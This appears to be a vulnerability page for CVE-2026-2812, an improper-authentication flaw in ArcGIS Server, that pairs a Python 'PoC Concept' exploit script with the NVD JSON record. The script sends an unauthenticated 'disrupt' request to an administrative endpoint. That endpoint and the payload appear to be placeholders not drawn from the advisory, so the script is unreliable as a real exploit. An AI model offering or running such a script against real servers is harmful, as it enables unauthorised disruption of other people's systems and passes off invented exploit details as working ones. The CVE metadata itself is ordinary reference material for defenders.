CVE-2026-2812

import requests # CVE-2026-2812 PoC Concept # Target: ArcGIS Server <= 12.0 # Description: Exploits improper authentication on an undocumented administrative endpoint. target_url = "http://<target_ip>/<arcgis_context>/admin/undocumentedEndpoint" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Crafted payload to trigger the disruption payload = { "operation": "disrupt", "target": "web-interface" } try: # Send request without authentication response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Interface potentially disrupted.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-2812", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:36.930", "lastModified": "2026-05-21T18:56:21.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ArcGIS Server contains an improper authentication vulnerability in an undocumented administrative endpoint. An unauthenticated attacker could exploit this issue by sending a crafted request to the endpoint. Successful exploitation may result in disruption of the web-based browsing interface. This issue affects ArcGIS Server 12.0 and earlier."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esri:arcgis_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1", "versionEndIncluding": "12.0", "matchCriteriaId": "330075C0-D0B5-40C9-B384-37764EB8D139"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/april2026_security_bulletin", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}